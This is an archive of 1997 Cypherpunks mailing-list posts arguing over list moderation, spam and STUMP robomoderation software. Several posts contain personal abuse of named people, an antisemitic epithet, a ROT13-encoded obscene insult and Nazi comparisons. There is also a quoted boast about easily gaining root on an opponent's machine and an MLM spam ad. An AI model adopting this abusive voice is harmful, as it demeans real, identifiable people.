Plucky Green is in turn responding to Ray Arachelian, who runs a "filtered"
version of Cypherpunks. Ray posts lies about me to both the main "cypher
punks" mailing list and his "filtered" one (falsely accusing me of "spamming",
of causing mail loops, etc). When I reply and refute his lies, my responses
don't go to Ray's "filtered" list. Plucky wants the extend his ability to
suppress the victim's ability to refute libel.

ObCrypto: I challenge the "cypher punks" to decode the following text:

Nffubyr prafbe Wbua Tvyzber vf n cngurgvp byq pbpxfhpxre.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 11 Jan 1997 09:11:40 -0800 (PST)
To: bad@uhf.wireless.net (Bernie Doehner)
Subject: Re: another idea?
In-Reply-To: <Pine.BSF.3.95.970111112441.602B-100000@uhf.wdc.net>
Message-ID: <199701111710.JAA08932@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Bernie Doehner writes:
> 
> Hi again:
> 
> Upon rereading comments in favor of no moderation, it occured to me that a
> possible solution that will make most people  happy:
> 
> How about, we have
> cypherpunks-raw: unmoderated 110% SPAM
> cypherpunks: moderated by Sandy and other moderator.

That was the original proposal.
Now that the 'discussion' has come around full circle, can we
stop talking about it and DO it?


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 06:42:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D707A2.5410@disposable.com>
Message-ID: <HyeD1D58w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
>
> I would not favor a moderation policy that gave carte blanche to "good guys"
> to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> threads, me -- you never know) to be "about crypto." That's a hypocritical
> double standard.

Here's another typical post from Igor's soc.culture.russian.moderated (NOT).

Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
Kagalenko has been banned from posting to s.c.r.m because he objected to its
creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).

]From: mkagalen@lynx.dac.neu.edu (Michael Kagalenko)
]Newsgroups: soc.culture.russian,alt.genius.bill-palmer
]Subject: Re: Envious Eunuch's E-Mail Evacuations
]Message-ID: <5audbm$4vf@lynx.dac.neu.edu>
]Date: 7 Jan 1997 15:57:26 -0500
]Organization: Northeastern University, Boston, MA. 02115, USA
]
]Henrietta Thomas (hkt@wwa.com) wrote:
]]
]][newsgroups trimmed]
]]
]]ichudov@algebra.com (Igor Chudov @ home) wrote:
]]
]]>-----BEGIN PGP SIGNED MESSAGE-----
]]
]]>[crossposted to alt.genius.bill-palmer]
]]
]]>Prof. Henrietta K. Thomas wrote:
]]
]]Professor, eh? Well, well, well......
]]
]]>> >That's right, Mike;  I'll give you the bad news right here in
]]>> >soc.culture.russian, since in your e-mailing, you claimed to
]]>> >speak for--NOT MICHAEL KAGALENKO, EUNUCH--but the entire
]]>> >s.c.r. readership, in trying to run me off because you were
]]>> >infuriated by a recent posting of mine.
]]>>
]]>> Well, I don't know about the entire readership, but he certainly
]]>> speaks for me in this regard.
]]
]]>Envious Eunuch Kagalenko surely does NOT speak for me and many of my
]]>acquaintainces. We support Bill's struggle against the mischievous
]]>censorous eunuch.
]]
]]You're just angry 'cause Kagalenko tried to crash your machine.
]
] Correction; if I have tried to crash Chudov's computer, it would have been
] crashed. I'd venture to guess that getting root on his Linux box
] wouldn't be all that hard, either.
]
](Followups to sc.r.moderasted)
]
]Couldn't honour it, as I am permanently banned from there.
]
]
]--
]ABILITY,n. The natural equipment to accomplish some small part of the meaner
]           ambitions distinguishing able men from dead ones.
]                -- Ambrose Bierce, "The Devil's Dictionary"
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D7CCDB.6720@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> Ray Arachelian <sunder@brainlink.com> writes:
> > > 3. Not making the unmoderated list first-up (i.e., cutting posts first,
> > >    then making the "full" list available later) is suspicious, or at
> > >    least a bad idea.[snip]
> What is the advantage of not having a cypherpunks-raw?  I just don't
> understand it.  It costs you nothing, it shows your willingness to
> compete with other moderators or moderation schemes, and it will make
> people a lot more confident that you aren't suppressing some messages
> from cypherpunks-flames list.
> If for some reason load really is the problem (though I can't see
> how), then can you set some maximum number of subscribers you would be
> willing to mail cypherpunks-raw to?  I mean 50 people shouldn't be
> that big a deal, right?  And if more than 50 want to subscribe and you
> think toad can't handle the load, I will run a mail exploder on a
> different machine.

Great ideas, but if I had to bet money, I'd place my bets with
Dr. Vulis on what lies behind their real reasoning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:44 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Comments on moderation
In-Reply-To: <3.0.1.32.19970110215712.0132d100@mail.teleport.com>
Message-ID: <32D7CDA9.472@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> I have been reading the comments on moderation and I have a few comments
> I would like to see moderation, but only for those things that filters
> cannot handle effectivly.
> 1) The Spam that has been flooding the list.  It looks like someone has an
> axe to grind against the list or certain people on it, so they are doing
> their best to disrupt it.  The spam is only part of that attack.  It should
> be dealt with as any other denial of service attack.
> 2) The anonymous flames against Tim May (or anyone else for that
> matter...).  These messages contain no useful content.  They only serve to
> allow certain overgrown juviniles to vent against people they dislike.
> Killing the above would greatly improve the quality of the list. The rest
> can be killed by filters. As for the people who are crying "censor", I
> have seen little evidence that the doom they predict is going to happen.

Did you really want to say "no evidence", but were just hedging your bet?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 06:50:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: David Lesher posts a good one to rec.humror.funny
In-Reply-To: <Sa8f.6014@clarinet.com>
Message-ID: <siFD1D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


From: wb8foz@netcom.com
Newsgroups: rec.humor.funny
Subject: And she's no blond.....
Keywords: chuckle, original
Message-ID: <Sa8f.6014@clarinet.com>
Date: Thu, 9 Jan 97 19:30:03 EST
Organization: NRK Research
Lines: 42
Approved: funny-request@clari.net


===================================
There is a thread about those supermarket "discount customer" cards
in misc.consumer. Here's MY followup:
====================================

Dear Mr. Jones:

We noticed you've not picked up any condoms at SpiffyMart recently.
(Your last purchase was 8 weeks ago.) Further, you have stopped
buying feminine hygiene products, but have sharply increased
your frozen pizza and dinners usage in the same time frame.

It's clear that Ms. Jody Sanders has dumped you.  (It's probably
for the best - we knew she was a loser from that cheap shampoo she
buys.) We confirmed this with the Post Office database -- yep, she
filed a change of address.

We at Horny International offer our condolences.  As the number-one
vender of hot X-rated videos, we'd like to help you out in this
time of stress. If you're feeling lonely, check out our catalog of
both VHS and super 8 tapes.

Order now and we throw in an extra tape FREE!

Yours Truly;

Sleazy Jerk, Marketing Manager.



ps: That "blond" at O'Dougles last Saturday -- you bought her
2nd Strawberry Martini? Forget it! She's on her third yeast
infection in as many months, and is a 'regular' at Acme Pharmacy.
(Her HMO computer gossips with ours.) You never know what else she
might have. Our tapes are LOTS safer!..

--
Selected by Jim Griffith.  MAIL your joke to funny@clari.net.

This newsgroup is sponsored by ClariNet Communications Corp.  Read about
The Internet Joke Book -- the best of RHF at http://www.clari.net/inetjoke.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <v03007806aefcde0a5a6a@[205.186.122.248]>
Message-ID: <32D7CFAC.38D0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:
> At 8:19 PM -0800 1/10/97, Lucky Green wrote:[snippo]
> Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
> software lets people like Matt Blase and Bruce Schneier post whatever they
> want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
> go into a pool accessible to all moderators.  If one moderator approves,
> the message goes out.  If N reject, it is rejected.  These rejections could
> either be anonymous or be included in an x-moderators-rejecting: header for
> the "worst of cypherpunks" list.

Let me guess.  Frantz started with electronic copies of Mein Kampf,
1984 (originally 1948), Brave New World, and Animal Farm, and did some
judicious substitutions:

Substitute "moderator" for "censor".
Substitute "pool" for "concentration camp".
Substitute "reject" for "liquidate".

And, they could do this anonymously, like the Gestapo, SS, LAPD, FBI,
CIA, FEMA, BATF, you get the picture.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:52 -0800 (PST)
To: donaldo <bogart@mps.com.mx>
Subject: Re: subscription request to mailing list
In-Reply-To: <01BBFF56.DA8A7D00@bogart.mpsnet.com.mx>
Message-ID: <32D7D2AD.4EA5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


donaldo wrote:
> please enroll me on your mailing list.
> Thank You.

WARNING:  This list is about to be censored.  The information you
receive may be edited, and therefore may not represent the information
that was originally posted.  Further, any information you post may be
censored (removed), and the content may be held against you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clay Olbon II <olbon@ix.netcom.com>
Date: Sat, 11 Jan 1997 09:58:52 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: IMPORTANT: Additional information about UDCM.
Message-ID: <1.5.4.16.19970111130156.125fa0a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


BU,

At 12:06 AM 1/10/97 -0500, Black Unicorn wrote:
>I dont really think anyone uses bytes to refer to key size, except perhaps
>in Prime Number challenges (RSA-129).

I am pretty sure that the Prime Number challenges refer to the number of
DECIMAl digits in the prime number.  

Otherwise excellent responses to the simplistic mumbo-jumbo.  Good to see
you posting again!

        Clay
*******************************************************
Clay Olbon			    olbon@ix.netcom.com
sys-admin, engineer, programmer, statistitian, etc.
**********************************************tanstaafl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <32D7D8CA.3ADF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 10:49 PM 1/10/97 -0800, Lucky Green wrote:

> I think that the human moderator solution suffers less from these problems;
> in general, it's a well-tested solution to the "what about off-topic
> assholes?" problem. It's not perfect, but it does work, more or less; it's
> easy to understand, easy to implement, and requires no software changes on
> the users' end.

Yeah, Greg, we all hate those pesky asshole-types.  But what do you do,
Greg, when the *moderator* is the pesky asshole-type?  Bend over, huh?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Perkins <rperkins@uvaix2e1.comp.UVic.CA>
Date: Sat, 11 Jan 1997 10:26:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remailer
Message-ID: <199701111826.KAA92878@uvaix3e1.comp.UVic.CA>
MIME-Version: 1.0
Content-Type: text/plain


I've recently had a surge of remailing attempts made through the remailer
which I used to have running. It is no longer running. If I do reset it,
I'll notify the cypherpunk list.. the address(es) were:

rperkins@nyx.cs.du.edu
rperkins@nyx10.cs.du.edu
or:
rperkins@nox.cs.du.edu
rperkins@nyx.net .. whatever, they all went to the same place..

These accounts are all _forwarded_ to my account: rperkins@uvic.ca, and are
not forwarded.. 

Please remove my the addresses from any list of remailers you may mantain. I
will alert you if the remailer goes back up.

For those of you who don't maintain remailer listings, please make note of
these addresses: they are _not_ remailers.

Thank you.
---
      Ryan Perkins      | I feel that sucide jumpers see a glimpse of 
rperkins@castle.uvic.ca | sanity as they throw themselves from the ledge. 
 Ask for PGP public key | That's why they scream all the way down.  
          8C5357 : 9F FF BA 93 54 D5 18 78 4B 1E DA GC E3 4E





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110201859.006d14bc@192.100.81.126>
Message-ID: <32D7DC28.44B6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
[snip]
> ...as a long time subscriber, I care about the list. I see only one
> alternative to moderating Cypherpunks. And that is shutting it down...

What am I missing here?  Why don't these assholes just go away?

They bitch and moan constantly about other people's whining, then they
fill the list with their own whining. More hypocrisy from "cypherpunks".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:24 -0800 (PST)
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D7DE11.2BDE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
[snip]
> I'd just like to say that as disgusting as I find most of Dale's posts,
> I consider almost all of them appropriate for the list.
> While I'd classify Dale's posts as among "worst of cypherpunks,"
> IMO they are all at least *of* cypherpunks.

Rich, you have to have a mind to comment on my posts.  To call my
posts disgusting, when I as a person am  1) Vastly more concerned
about justice, truth, and openness than you, and  2) Vastly more
intelligent than you, is pure ignorance and hypocrisy.

When you have nothing to say, you do the "attack against the man",
which is a logical fallacy.  You and Sandfort can lie in bed together
on that one.  Punk.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 08:42:41 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <HyeD1D58w165w@bwalk.dm.com>
Message-ID: <199701111638.KAA05913@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> >
> > I would not favor a moderation policy that gave carte blanche to "good guys"
> > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > double standard.
> 
> Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> 
> Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> Kagalenko has been banned from posting to s.c.r.m because he objected to its
> creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).

but none of the posts in question had ever been posted to scrm.

I do not see what your example is supposed to illustrate.

	- Igor.

> ]From: mkagalen@lynx.dac.neu.edu (Michael Kagalenko)
> ]Newsgroups: soc.culture.russian,alt.genius.bill-palmer
> ]Subject: Re: Envious Eunuch's E-Mail Evacuations
> ]Message-ID: <5audbm$4vf@lynx.dac.neu.edu>
> ]Date: 7 Jan 1997 15:57:26 -0500
> ]Organization: Northeastern University, Boston, MA. 02115, USA
> ]
> ]Henrietta Thomas (hkt@wwa.com) wrote:
> ]]
> ]][newsgroups trimmed]
> ]]
> ]]ichudov@algebra.com (Igor Chudov @ home) wrote:
> ]]
> ]]>-----BEGIN PGP SIGNED MESSAGE-----
> ]]
> ]]>[crossposted to alt.genius.bill-palmer]
> ]]
> ]]>Prof. Henrietta K. Thomas wrote:
> ]]
> ]]Professor, eh? Well, well, well......
> ]]
> ]]>> >That's right, Mike;  I'll give you the bad news right here in
> ]]>> >soc.culture.russian, since in your e-mailing, you claimed to
> ]]>> >speak for--NOT MICHAEL KAGALENKO, EUNUCH--but the entire
> ]]>> >s.c.r. readership, in trying to run me off because you were
> ]]>> >infuriated by a recent posting of mine.
> ]]>>
> ]]>> Well, I don't know about the entire readership, but he certainly
> ]]>> speaks for me in this regard.
> ]]
> ]]>Envious Eunuch Kagalenko surely does NOT speak for me and many of my
> ]]>acquaintainces. We support Bill's struggle against the mischievous
> ]]>censorous eunuch.
> ]]
> ]]You're just angry 'cause Kagalenko tried to crash your machine.
> ]
> ] Correction; if I have tried to crash Chudov's computer, it would have been
> ] crashed. I'd venture to guess that getting root on his Linux box
> ] wouldn't be all that hard, either.
> ]
> ](Followups to sc.r.moderasted)
> ]
> ]Couldn't honour it, as I am permanently banned from there.
> ]
> ]
> ]--
> ]ABILITY,n. The natural equipment to accomplish some small part of the meaner
> ]           ambitions distinguishing able men from dead ones.
> ]                -- Ambrose Bierce, "The Devil's Dictionary"
> ]
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:35 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Igor / Hero or Villain?
In-Reply-To: <199701110345.VAA02052@manifold.algebra.com>
Message-ID: <32D7E031.6671@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Igor Chudov @ home wrote:
> > Does not the moderated list, moderated by YOU, already exist?
> > I am confused.
> > It is indeed suspicious because it raises a possibility of
> > concealed human involvement.
> > That's a non-answer.

>  Some days I print your postings and file them away for future
> reference. Other days, I want to cyber-shoot your sorry ass.
>  Either way, I regard you as a valuable member of CypherPunks
> for the reason that you're not about to lay down on the tracks
> and let the train run over you, just because of a 'purported'
> goal of protecting you from the 'bad' people. History has taught us
> that when the witch-hunt starts, everyone with a broom is suspect.

Just a comment. Igor indeed is one of the most intelligent and reasoned
posters here. Sorry I can't say the same for all.  Point is, Igor wants
to believe he can reason with the rabid dogs on this moderation issue.

A quote from Star Trek: "Command and compassion is a fool's mixture".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: express@capella.net
Date: Sat, 11 Jan 1997 07:46:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: FOX
Message-ID: <199701111552.KAA17764@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


       THE FOX FIRE IS BURNING!

http://www.mlmers-ad-net.com/FoxTeam/Fox

FREE WEB PAGE AND CHECKS SENT OUT DAILY!

For a quick reply via E-mail send to our
Autoresponder: <fox@mlmers-ad-net.com>

Thanks,
John

********************************************
Need a bulk E-mail friendly ISP?  ($60/year)
See Web Page:  http://www.capella.net/?AAE70 
Plus you can earn a residual income too!
********************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@toad.com
Date: Sat, 11 Jan 1997 11:06:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RSA over Rubics cube?
Message-ID: <199701111858.KAA09264@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Just for fun, not that I am sugesting it as a serious encryption
method, but has anyone tried exponetion cyphers on the group
defined by the Rubics cube? :)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 09:14:51 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <199701111710.LAA06067@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Greg Broiles wrote:
> 
> At 10:49 PM 1/10/97 -0800, Lucky Green wrote:
> >Yes. Igor's STUMP software seems like the way to go. The vast majority of
> >posters to this list are not a problem. Discussions amongst them may get
> >heated, but they have basic human decency and never even come close to the
> >level of abuse and bigotry we have seen from Vulis, aga, et al. 
> 
> I think that the move to human moderation is a good thing, and am pleased
> that Sandy will shortly begin to act as moderator.
> 
> However, I think that forming lists of "approved people" and "unapproved
> people" and treating them differently is likely to do more harm than good,
> even if we have nice software which does it very efficiently. I don't like
> it for several reasons:
> 
> 1.	Political. It's symbolically disturbing, and it tends to shift the focus
> of the group (and of the moderation process) away from messages, and
> towards the people who post them. I think it'd be tempting to turn it into
> some sort of bureaucratic system, with punishments (being on the bad list)
> and rewards and status changes and written warnings and all of the other
> features which frequently bring out the worst in people. I suspect that
> agreeing on "the 10 people who are clearly a problem" will turn out to be
> as difficult as finding any 10 things that cypherpunks can agree on, and
> then we've got to decide who decides who's a problem, and then we've got to
> decide how we decide things, and argue about whether or not John Gilmore is
> a good person, and [...]
> 
> 2.	Technical. It requires that the people on the "good list" authenticate
> their messages (otherwise people will post with the names of "good people"
> to avoid moderation), which imports a lot of hassle with different
> platforms and signing and certification and key distribution and [...]
> which we don't have good solutions for yet.
> 
> 3.	 Conceptual. It's a complex problem technically and politically, which
> means that it's difficult to understand or debug, and it's got a lot of
> points of failure. In general, complex solutions (which require many people
> to install and learn new software) are difficult to implement, take longer
> than anticipated, and are frequently avoided by the people they're
> supposedly helping. (See, e.g., RISKS Digest; both for how a
> human-moderated list can work nicely, and for examples of how complex
> technical solutions to problems often create more or worse problems than
> they solve.)
> 
> I think that the human moderator solution suffers less from these problems;
> in general, it's a well-tested solution to the "what about off-topic
> assholes?" problem. It's not perfect, but it does work, more or less; it's
> easy to understand, easy to implement, and requires no software changes on
> the users' end.

Greg brings up a number of very good points.

A small correction: robomod does not necessarily require authentication
of posters from the preapproved list. It is merely an option that can 
be turned on and off.

We should all understand that forgeries in the names of preapproved
people are only a SYMPTOM of a problem, not a problem in and of itself.
The true problem in such case would be that the forgers feel that they
are treated unfairly by moderators. Such people may think that the
purpose of moderation is to get rid of their persons altogether.

Therefore, if moderators face a problem of forgeries and perceive a need 
to turn this authentication option on, they should step back and this 
what THEY did wrong. Did they give the forgers an impression that 
moderators want to silence them? Do they treat everyone, including the
former "problem" people, fairly and equally?

I have a suggestion, actually. I can rewrite STUMP in such a way that
when moderators receive messages for moderation, they would not see any
header information indicating who wrote the message (this information 
would be in the packet that arrives to them, but it would be encrypted
with Internal Traffic Key). This way, a moderator would not know if the
message is, say, from Tim May or from Dr. Vulis, and would make their
decisions (including decisions to preapprove) based solely on the
message contents. That may give some way towards fairness.

Greg mentions several important and real dissadvantages of preapproved
lists, but the huge advantage that they give is a reduction in costs of
human moderation. Namely, human moderators do not have to work as hard,
and the latency (thanks, Rich!) of most posts is dramatically reduced.

DISADVANTAGES (Greg):

1) creates two "classes" of posters
2) somewhat arbitrary
3) possible forgeries require authentication and that's a pain

ADVANTAGES: 

1) reduces moderators' effort
2) reduces latency
3) depends on how you look at it -- required authentication may be "good".
4) for people like Eric Murray, who post on-topic articles, the list
   becomes essentially unmoderated, as it used to be.

Note that another important feature of STUMP that we seem to overlook was
designed specifically to address the problems of preapproved lists. This
feature is the presence of "bad words list". This is a set of regular
expressions, stored in a file, such that if incoming messages match
these expressions, they would be considered "suspicious" even if they
purport to be "From: " preapproved persons. That goes a long way towards
security and fairness because now nobody (including, say, Paul Bradley
along with Dr. Vulis or myself) would be able to call someone else
"cocksucker" without review by human moderators.

*If* moderators are fair, that would ensure that people are treated
equally even if some of them are preapproved and some are not.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bernie Doehner <bad@uhf.wireless.net>
Date: Sat, 11 Jan 1997 08:16:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <Pine.BSF.3.95.970111110027.602A-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain


> I think that the move to human moderation is a good thing, and am pleased
> that Sandy will shortly begin to act as moderator.

Last night's barrage of SPAM convinced me that this is a really good
thing. 
 
> However, I think that forming lists of "approved people" and "unapproved
> people" and treating them differently is likely to do more harm than good,
> even if we have nice software which does it very efficiently. I don't like
> it for several reasons:

Why jump to conclusions about the moderator's behavior?  Lets give the
new moderators a chance - PLEASE!!!

I think our new moderators have been around long enough to know
what's appropriate and what's not. I for one am getting really tired of
seeing so many off topic messages (not necessary SPAM) on here. I have
been tempted to unsubscribe a couple of times, but I haven't because I
don't want to miss information on the DES/RC5 Challenge and other
important info.

I have been on well moderated lists, as well as had to ask a friend of
mine who was on a closed list to forward postings to me (I couldn't get on
the approved list because I hadn't sent them $20).

> 1.	Political. It's symbolically disturbing, and it tends to shift the focus
> of the group (and of the moderation process) away from messages, and
> towards the people who post them. I think it'd be tempting to turn it into
> some sort of bureaucratic system, with punishments (being on the bad list)

In the case of this one closed list that I know of, I'd agree with you,
but I'd argue that this isn't generaly true. Let me ask you this: How many
of the messages posted to this list have you actualy read/found useful? 

I personaly don't find more than perhaps 5% useful.

> 2.	Technical. It requires that the people on the "good list" authenticate
> their messages (otherwise people will post with the names of "good people"
> to avoid moderation), which imports a lot of hassle with different
> platforms and signing and certification and key distribution and [...]
> which we don't have good solutions for yet.

I sort of see your point, but I don't think we have to go that far. A
moderator's main function is one of keeping the discussions on track (Ie.
SPAM selling Metamucil doesn't qualify). Authentication goes a little
beyond that. I think forcing authentication will really turn this into
a political problem.

Good luck Sandy and other moderator!

Bernie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bernie Doehner <bad@uhf.wireless.net>
Date: Sat, 11 Jan 1997 08:28:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: another idea?
In-Reply-To: <19970111060735.2441.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.BSF.3.95.970111112441.602B-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi again:

Upon rereading comments in favor of no moderation, it occured to me that a
possible solution that will make most people  happy:

How about, we have
cypherpunks-raw: unmoderated 110% SPAM
cypherpunks: moderated by Sandy and other moderator.

Then, if the moderator approve pool for cypherpunks is crosslinked to
cypherpunks-raw (two way link), we have the best of both worlds. People
who want to experiment with filtering software can do that, and people who
want the SPAM and off subject garbage to go away can do that.

Bernie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 09:42:48 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110224930.006d114c@192.100.81.126>
Message-ID: <199701111739.LAA06214@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> Igor claims that on lists moderated by STUMP, 95% of the people are

Lucky,

I think that 95% figure is a bit high. I hope I did not claim it:), at
least STUMP home page gives a more conservative number of 80%. For scrm,
the number may be higher than that, but I would not guarantee 95% for
every other newsgroup or mailing list. The variable that this number
depends on is the preapproval policy.

For example, in the windows 95 newsgroup where STUMP is used, their
criteria for preapproval is very strict -- they require 5 successive
approved posts to get a poster preapproved. That will inevitably result
in more work for moderators, but heck, that's what they want.

I would normally expect this number to settle around 85-90% eventually,
but 80% is the low ballpark figure.

Attached below is STUMP's automatic periodic report about SCRM. It shows
that the rate for SCRM is about 88%.

> pre-approved. I believe it. Because 95% of the posters are not a problem.
> It is a small part of the other 5% that fuck things up. I second Sandy and
> John's proposal to moderate Cypherpunks. I propose we use Igor's STUMP
> software for this purpose, iff it performs as claimed.
> 
> [Does STUMP have a web interface?]
> 

Yes, look at Modscape at STUMP's home page (go there from 
http://www.algebra.com/~ichudov). Now it works under linux,
but can be ported to other unices (and possibly windoze also).

Attachment: 

#Subject: soc.culture.russian.moderated report for Tue Dec 31 19:05:01 EST 1996
#From:    SCRM Approval Key <scrm-approval-key@algebra.com>
#Date:    1996/12/31
#Message-Id:   <199701010005.TAA15238@www.video-collage.com>
#X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
#X-Origin:   From: scrm-Admin@algebra.com, From scrm  Tue Dec 31 19:05:03 1996
#X-Scrm-Info-1: Send submissions to             scrm@algebra.com
#X-Scrm-Info-2: Send technical complaints to    scrm-Admin@algebra.com
#X-Scrm-Info-3: Send complaints about policy to scrm-Board@algebra.com
#Organization: CrYpToRoBoMoDeRaToR CaBaL
#X-Scrm-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
#X-Auth:    PGPMoose V1.1 PGP soc.culture.russian.moderated
#X-Comment: moderators do not necessarily agree or disagree with this article.
#Reply-To:  scrm-Admin@algebra.com
#Newsgroups:soc.culture.russian.moderated
#
#
#-----BEGIN PGP SIGNED MESSAGE-----
#
#Subject: soc.culture.russian.moderated report for Tue Dec 31 19:05:01 EST 1996
#Newsgroups: soc.culture.russian.moderated
#Date: Tue Dec 31 19:05:01 EST 1996
#
#This is an automated report about activity of our newsgroup
